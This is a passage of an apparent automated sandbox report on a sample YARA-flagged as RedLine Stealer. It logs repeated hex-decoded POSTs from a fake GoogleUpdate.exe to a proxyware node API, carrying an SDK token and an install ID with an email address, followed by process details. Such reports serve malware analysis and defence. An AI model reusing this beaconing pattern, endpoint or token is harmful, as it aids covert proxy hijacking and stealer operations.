2022-12-05 05:45:24 UTC	6	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:24 UTC	6	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:24 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a79b9289dbb62-FRA
2022-12-05 05:45:24 UTC	6	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.3	49998	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:05 UTC	61	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:05 UTC	62	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:05 UTC	62	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:05 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7ab669c8922c-FRA
2022-12-05 05:46:05 UTC	62	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.3	50000	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:05 UTC	62	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:05 UTC	62	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:05 UTC	63	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:05 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7ab84e78bb59-FRA
2022-12-05 05:46:05 UTC	63	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.3	50004	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:05 UTC	63	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:05 UTC	63	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:05 UTC	63	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:05 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7aba09ed9290-FRA
2022-12-05 05:46:05 UTC	63	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.3	50007	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:06 UTC	64	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:06 UTC	64	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:06 UTC	64	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:06 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7abbeddb996e-FRA
2022-12-05 05:46:06 UTC	64	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.3	50010	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:06 UTC	64	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:06 UTC	64	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:06 UTC	65	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:06 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7abddbc66943-FRA
2022-12-05 05:46:06 UTC	65	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.3	50012	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:06 UTC	65	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:06 UTC	65	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:06 UTC	65	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:06 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7abfb846bb61-FRA
2022-12-05 05:46:06 UTC	65	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.3	50016	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:06 UTC	66	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:06 UTC	66	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:07 UTC	66	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:07 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7ac1ae159137-FRA
2022-12-05 05:46:07 UTC	66	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.3	50019	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:07 UTC	66	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:07 UTC	66	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:07 UTC	67	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:07 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7ac3fe2b9bc8-FRA
2022-12-05 05:46:07 UTC	67	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.3	50021	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:07 UTC	67	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:07 UTC	67	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:07 UTC	67	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:07 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7ac5fc1abbaf-FRA
2022-12-05 05:46:07 UTC	68	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.3	50024	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:07 UTC	68	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:07 UTC	68	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:07 UTC	68	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:07 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7ac7ac01bb47-FRA
2022-12-05 05:46:07 UTC	68	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: softwareinstaller.exePID: 1020, Parent PID: 3452

General

Target ID:	0
Start time:	06:43:57
Start date:	05/12/2022
Path:	C:\Users\user\Desktop\softwareinstaller.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\softwareinstaller.exe
Imagebase:	0xd30000
File size:	225458 bytes
MD5 hash:	805D5AABE2EDA8C63ADBE040ADB92B44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.240524568.0000000000D72000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 576, Parent PID: 1020

General

Target ID:	1
Start time:	06:43:58
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vbc.exePID: 3076, Parent PID: 1020

General

Target ID:	2
Start time:	06:43:59
Start date:	05/12/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
